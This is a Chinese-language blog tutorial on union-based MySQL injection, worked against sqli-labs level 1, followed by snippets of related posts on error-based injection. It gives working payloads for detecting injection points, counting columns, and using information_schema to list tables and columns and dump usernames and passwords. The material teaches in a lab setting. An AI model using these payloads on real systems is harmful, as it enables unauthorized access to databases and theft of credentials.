sql注入之簡要注入

2022-10-10 17:18:10 字數 2305 閱讀 9385

mysql注入簡要流程如下圖:

由於還沒學習完先結合sqlilabs的第一關講解資訊收集的一部分和資料注入的information_schema的有據查詢。

老方法:

and 1=1 頁面正常

and 1=2 頁面錯誤

說明可能存在注入點

最舒服的方法:

引數後面隨便輸入,被解析但未出現404可能存在注入。

若出現404頁面說明沒有注入點。

--+頁面正常:

引數後面隨便輸:323424 --+

被解析,未報錯,說明存在注入點

猜解列名數量(字段數):order by x(為可變變數) 找出錯誤與正確的臨界值

由上圖可知欄位數為3。

?id=-1' union select 1,2,3 --+

由圖可知,2,3位置可進行回顯。

資料庫版本:version()

資料庫使用者:user()

資料庫名字:database()

作業系統:@@version_compile_os

資料庫版本及資料庫使用者:

資料庫名字及作業系統:

必要知識點:

在mysql5.0及以上版本中mysql存在自帶的資料庫名information_schema,它是乙個存記錄有所有資料名、表名、列名的資料庫。也就相當於可以查詢它獲取指定資料庫下的表名列名資訊。

資料庫中符號「.」代表下一級,如a.b表示資料庫a下的b表。

information_schema.tables:記錄所有表名資訊的表

information_schema.columns:記錄所有列名資訊的表

table_schema:資料庫名

table_name:表名

column_name:列名

查詢security資料庫下的表名資訊:

所有表名資訊:

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

可知有4張表分別是:emails,referers,uagents,users

由上可推測使用者資訊可能在users表中

查詢users表下的列名資訊:

' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

可知users表中的字段為username和password

查詢users表中的資料:

' union select 1,username,password from users limit 0,1--+

猜解多個資料可使用limit x,1(變動猜解)

可知一共有13條資料

注入攻擊之sql注入

在1998年,一位名為rfp的黑客發表了一篇題為 nt web technology vulnerabilities 的文章 注入攻擊的兩個條件 1 使用者能夠克制資料的輸入 在這裡,使用者能夠控制變數 2 原本要執行的 憑藉了使用者的輸入 一般輸入乙個 單引號就能引起執行查詢語句的語法錯誤,有些伺...

SQL注入之報錯注入

固定語句公式 union select 1 from select count concat floor rand 0 2 注入爆資料語句 a from information schema.tables group by a b 假如id輸入存在注入的話,可以通過如下語句進行報錯。mysql se...

SQL注入之報錯注入

0x01 報錯注入 在實際場景中,沒有乙個資料的返回資訊點。此時需要用報錯注入使其顯示出注入資訊。使用到報錯注入的場景有 普通報錯注入,即沒有資料返回點 insert注入 update注入 delete注入 0x02 常用到的兩個報錯函式 updatexml 和extractvalue 函式 0x0...